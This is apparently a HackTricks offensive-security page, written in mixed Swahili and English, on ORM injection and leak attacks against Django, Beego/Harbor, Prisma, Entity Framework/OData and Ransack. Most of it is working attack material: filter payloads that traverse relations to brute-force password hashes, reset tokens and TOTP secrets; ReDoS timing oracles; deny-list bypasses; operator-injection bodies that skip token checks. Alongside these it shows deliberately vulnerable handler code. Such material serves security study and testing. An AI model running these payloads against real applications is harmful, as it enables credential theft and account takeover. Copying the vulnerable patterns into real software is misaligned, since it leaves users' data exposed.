ORM Injection
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Django ORM (Python)
Katika this post imeelezewa jinsi inavyowezekana kufanya Django ORM kuwa nyeti kwa kutumia kwa mfano msimbo kama:
class ArticleView(APIView):
"""
Some basic API view that users send requests to for
searching for articles
"""
def post(self, request: Request, format=None):
try:
articles = Article.objects.filter(**request.data)
serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)
Angalia jinsi request.data yote (ambayo itakuwa json) inavyopitishwa moja kwa moja kwa filter objects from the database. Mshambuliaji anaweza kutuma filters zisizotarajiwa ili leak data zaidi kuliko inavyotarajiwa.
Mifano:
- Login: Katika login rahisi, jaribu leak nywila za watumiaji waliosajiliwa ndani yake.
{
"username": "admin",
"password_startswith": "a"
}
Caution
Inawezekana kufanya brute-force nenosiri hadi liwe leaked.
- Uchujaji wa uhusiano: Inawezekana kupita kwenye uhusiano ili ku-leak taarifa kutoka kwenye colamu ambazo hata hazikutarajiwa kutumika katika operesheni. Kwa mfano, ikiwa inawezekana ku-leak makala zilizotengenezwa na mtumiaji kwa kutumia uhusiano huu: Article(
created_by) -[1..1]-> Author (user) -[1..1]-> User(password).
{
"created_by__user__password__contains": "pass"
}
Caution
Inawezekana kupata password za watumiaji wote waliounda makala
- Many-to-many relational filtering: Katika mfano uliopita hatukuweza kupata password za watumiaji ambao hawakuunda makala. Hata hivyo, kwa kufuatilia uhusiano mwingine hili linawezekana. Kwa mfano: Article(
created_by) -[1..1]-> Author(departments) -[0..*]-> Department(employees) -[0..*]-> Author(user) -[1..1]-> User(password).
{
"created_by__departments__employees__user_startswith": "admi"
}
Caution
Katika kesi hii tunaweza kupata watumiaji wote katika idara za watumiaji ambao wameunda makala kisha leak their passwords (in the previous json we are just leaking the usernames but then it’s possible to leak the passwords).
- Kutumia vibaya Django Group and Permission many-to-may relations with users: Zaidi ya hayo, model ya AbstractUser hutumika kuunda users katika Django na kwa default model hii ina baadhi ya many-to-many relationships with the Permission and Group tables. Hii kwa msingi ni njia ya default ya access other users from one user ikiwa wako katika same group or share the same permission.
# By users in the same group
created_by__user__groups__user__password
# By users with the same permission
created_by__user__user_permissions__user__password
- Bypass filter restrictions: Blogpost ile ile ilipendekeza kuzunguka matumizi ya filtering kama
articles = Article.objects.filter(is_secret=False, **request.data). Inawezekana dump makala ambazo zina is_secret=True kwa sababu tunaweza kurudi kupitia relationship kwenda kwenye jedwali la Article na leak secret articles kutoka kwa non secret articles, kwa sababu matokeo yanaunganishwa na uwanja is_secret unakaguliwa kwenye non secret article wakati data inaleak kutoka kwenye secret article.
Article.objects.filter(is_secret=False, categories__articles__id=2)
Caution
Kwa kutumia vibaya relationships, inawezekana kupitisha hata filters zilizokusudiwa kulinda data inayoonyeshwa.
- Error/Time based via ReDoS: Katika mifano ya awali ilitarajiwa kupata majibu tofauti ikiwa filtering ilifanya kazi au la ili kutumia tofauti hiyo kama oracle. Lakini kunaweza kuwa kwamba kitendo fulani kinafanywa kwenye database na jibu huwa daima sawa. Katika hali hii inaweza kuwa inawezekana kusababisha database error ili kupata oracle mpya.
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}
// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
Kutoka kwenye chapisho sawa kuhusu vektori hii:
- SQLite: Haijumuishi regexp operator kwa default (inahitaji kupakia extension ya pihakati ya tatu)
- PostgreSQL: Haina default regex timeout na ina uwezekano mdogo wa backtracking
- MariaDB: Haina regex timeout
Beego ORM (Go) & Harbor Filter Oracles
Beego inaiga DSL ya Django field__operator, hivyo handler yoyote ambayo inaruhusu watumiaji kudhibiti hoja ya kwanza kwa QuerySeter.Filter() inaonyesha grafu yote ya mahusiano:
qs := o.QueryTable("articles")
qs = qs.Filter(filterExpression, filterValue) // attacker controls key + operator
Maombi kama /search?filter=created_by__user__password__icontains=pbkdf yanaweza ku-pivot kupitia foreign keys sawa na Django primitives zilivyo hapo juu. Msaidizi q wa Harbor alipanga pembejeo za mtumiaji kuwa Beego filters, kwa hivyo watumiaji wenye ruhusa ndogo wangeweza kupima secrets kwa kuangalia list responses:
GET /api/v2.0/users?q=password=~$argon2id$→ inaonyesha kama kuna hash yoyote yenye$argon2id$.GET /api/v2.0/users?q=salt=~abc→ leaks salt substrings.
Ku-count returned rows, kuangalia pagination metadata, au kulinganisha urefu wa responses kunatoa oracle ya ku-brute-force hashes nzima, salts, na TOTP seeds.
Bypassing Harbor’s patches with parseExprs
Harbor ilijaribu kulinda sensitive fields kwa kuzi-tag na filter:"false" na kuthibitisha tu segment ya kwanza ya expression:
k := strings.SplitN(key, orm.ExprSep, 2)[0]
if _, ok := meta.Filterable(k); !ok { continue }
qs = qs.Filter(key, value)
Beego’s internal parseExprs walks every __-delimited segment and, when the current segment is not a relation, it simply overwrites the target field with the next segment. Payloads such as email__password__startswith=foo therefore pass Harbor’s Filterable(email)=true check but execute as password__startswith=foo, bypassing deny-lists.
v2.13.1 limited keys to a single separator, but Harbor’s own fuzzy-match builder appends operators after validation: q=email__password=~abc → Filter("email__password__icontains", "abc"). The ORM again interprets that as password__icontains. Beego apps that only inspect the first __ component or that append operators later in the request pipeline stay vulnerable to the same overwrite primitive and can still be abused as blind leak oracles.
Prisma ORM (NodeJS)
Yaifuata ni hila zilizotolewa kutoka kwenye chapisho hiki.
- Udhibiti kamili wa find:
const app = express();
app.use(express.json());
app.post('/articles/verybad', async (req, res) => {
try {
// Attacker has full control of all prisma options
const posts = await prisma.article.findMany(req.body.filter)
res.json(posts);
} catch (error) {
res.json([]);
}
});
Inawezekana kuona kwamba mwili mzima wa javascript unapitishwa kwa prisma ili kutekeleza queries.
Katika mfano kutoka kwenye chapisho asili, hii itakagua post zote zilizotengenezwa na mtu (createdBy), ikirejesha pia taarifa za mtumiaji wa mtu huyo (username, password…).
{
"filter": {
"include": {
"createdBy": true
}
}
}
// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]
Mfano ufuatao huchagua machapisho yote yaliyotengenezwa na mtu mwenye password na itarudisha password:
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}
// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
- Udhibiti kamili wa
whereclause:
Tuchunguze hili ambapo mshambulizi anaweza kudhibiti where clause:
app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
where: req.query.filter as any // Vulnerable to ORM Leaks
})
res.json(posts);
} catch (error) {
res.json([]);
}
});
Inawezekana kuchuja password ya watumiaji moja kwa moja kama ifuatavyo:
await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas",
},
},
},
})
Caution
Kutumia operesheni kama
startsWithkunaweza ku-leak taarifa.
- Many-to-many relational filtering bypassing filtering:
app.post("/articles", async (req, res) => {
try {
const query = req.body.query
query.published = true
const posts = await prisma.article.findMany({ where: query })
res.json(posts)
} catch (error) {
res.json([])
}
})
Inawezekana leak makala zisizochapishwa kwa kurudi nyuma katika uhusiano wa wengi-kwa-wengi kati ya Category -[..]-> Article:
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
Inawezekana pia ku-leak watumiaji wote kwa kutumia baadhi ya loop back many-to-many relationships:
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
- Error/Timed queries: Katika chapisho la awali unaweza kusoma seti kubwa sana ya majaribio yaliyofanywa ili kupata payload bora ya leak taarifa kwa time based payload. Hii ni:
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}
Ambapo {CONTAINS_LIST} ni orodha ya strings 1000 ili kuhakikisha jibu linacheleweshwa wakati leak sahihi inapopatikana.
Type confusion on where filters (operator injection)
API ya query ya Prisma inakubali primitive values au operator objects. Wakati handlers wanadhani request body ina plain strings lakini wanazituma moja kwa moja kwa where, attackers wanaweza kusafirisha operators kwa siri ndani ya authentication flows na kuepuka token checks.
const user = await prisma.user.findFirstOrThrow({
where: { resetToken: req.body.resetToken as string }
})
Common coercion vectors:
- JSON body (default
express.json()):{"resetToken":{"not":"E"},"password":"newpass"}⇒ inafanana na kila mtumiaji ambaye token yake siE. - URL-encoded body with
extended: true:resetToken[not]=E&password=newpassinakuwa kitu sawa. - Query string in Express <5 or with extended parsers:
/reset?resetToken[contains]=argon2leaks mechi za substring. - cookie-parser JSON cookies:
Cookie: resetToken=j:{"startsWith":"0x"}ikiwa cookies zinapelekwa kwa Prisma.
Kwa sababu Prisma kwa raha huevaluate { resetToken: { not: ... } }, { contains: ... }, { startsWith: ... }, n.k., kila equality check juu ya secrets (reset tokens, API keys, magic links) inaweza kupanuliwa kuwa predicate inayofanikiwa bila kujua siri. Unganisha hili na relational filters (createdBy) kuchagua mhanga.
Tafuta mtiririko ambapo:
- Schema za request hazitekelezwi, hivyo nested objects zinaishi baada ya deserialization.
- Extended body/query parsers ziko enabled na zinakubali bracket syntax.
- Handlers zinapeleka user JSON moja kwa moja kwa Prisma badala ya kuibadilisha (map) kwenye fields/operators zilizoruhusiwa.
Entity Framework & OData Filter Leaks
Reflection-based text helpers leak secrets
IQueryable<T> TextFilter<T>(IQueryable<T> source, string term) {
var stringProperties = typeof(T).GetProperties().Where(p => p.PropertyType == typeof(string));
if (!stringProperties.Any()) { return source; }
var containsMethod = typeof(string).GetMethod("Contains", new[] { typeof(string) });
var prm = Expression.Parameter(typeof(T));
var body = stringProperties
.Select(prop => Expression.Call(Expression.Property(prm, prop), containsMethod!, Expression.Constant(term)))
.Aggregate(Expression.OrElse);
return source.Where(Expression.Lambda<Func<T, bool>>(body, prm));
}
Masaidizi yanayoorodhesha kila sifa ya string na kuyazungusha ndani ya .Contains(term) huonyesha kwa ufanisi passwords, API tokens, salts, na TOTP secrets kwa mtumiaji yeyote anayeweza kuita endpoint. Directus CVE-2025-64748 ni mfano halisi ambapo endpoint ya utafutaji directus_users ilijumuisha token na tfa_secret katika predicates zake za LIKE, ikibadilisha idadi za matokeo kuwa leak oracle.
OData comparison oracles
ASP.NET OData controllers mara nyingi hurudisha IQueryable<T> na kuruhusu $filter, hata wakati functions kama contains zimezimwa. Iwapo EDM inaweka wazi sifa, washambuliaji bado wanaweza kulinganisha juu yake:
GET /odata/Articles?$filter=CreatedBy/TfaSecret ge 'M'&$top=1
GET /odata/Articles?$filter=CreatedBy/TfaSecret lt 'M'&$top=1
Kutolewa tu au kutokuwepo kwa matokeo (au metadata ya pagination) kunakuwezesha kutafuta kila tabia kwa binary-search kulingana na collation ya database. Navigation properties (CreatedBy/Token, CreatedBy/User/Password) zinawezesha relational pivots kama za Django/Beego, hivyo EDM yoyote inayofichua sensitive fields au kuruka per-property deny-lists ni lengo rahisi.
Libraries na middleware zinazotafsiri user strings kuwa ORM operators (mfano, Entity Framework dynamic LINQ helpers, Prisma/Sequelize wrappers) zinapaswa kuchukuliwa kama high-risk sinks isipokuwa zinapotumia strict field/operator allow-lists.
Ransack (Ruby)
Njia hizi zilipatikana kwenye chapisho hili.
Tip
Kumbuka kwamba Ransack 4.0.0.0 sasa inalazimisha matumizi ya orodha wazi ya kuruhusiwa kwa searchable attributes na associations.
Mfano dhaifu:
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end
Angalia jinsi query itakavyoainishwa na vigezo vinavyotumwa na mshambuliaji. Kwa mfano, ilikuwa inawezekana brute-force token ya upya kwa kutumia:
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...
Kwa brute-forcing na kwa kutumia uhusiano, ilikuwa inawezekana kuvuza data zaidi kutoka kwenye hifadhidata.
Mikakati ya kuvuza yenye kuzingatia collation
Mlinganisho wa string unarithi collation ya hifadhidata, kwa hivyo leak oracles lazima zundwe kulingana na jinsi backend inavyopanga herufi:
- Collations za default za MariaDB/MySQL/SQLite/MSSQL mara nyingi hazitambui tofauti za herufi (case-insensitive), kwa hivyo
LIKE/=haiwezi kutofautishaanaA. Tumia operators zinazotambua case (regex/GLOB/BINARY) wakati casing ya siri inahusu. - Prisma na Entity Framework zinaiga upangaji wa hifadhidata. Collations kama MSSQL’s
SQL_Latin1_General_CP1_CI_ASzinaweka punctuation kabla ya digits na letters, hivyo binary-search probes lazima zifuate upangaji huo badala ya raw ASCII byte order. - SQLite’s
LIKEhaizingatii case isipokuwa collation maalum imejisajili, hivyo Django/Beego leaks zinaweza kuhitaji__regexpredicates ili kupata tokens zinazotambua case.
Kupangilia payloads kulingana na collation halisi kunaepuka probes zisizohitajika na kuharakisha kwa kiasi kikubwa mashambulizi ya automated ya substring/binary-search.
References
- https://www.elttam.com/blog/plormbing-your-django-orm/
- https://www.elttam.com/blog/plorming-your-primsa-orm/
- https://www.elttam.com/blog/leaking-more-than-you-joined-for/
- https://positive.security/blog/ransack-data-exfiltration
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
HackTricks

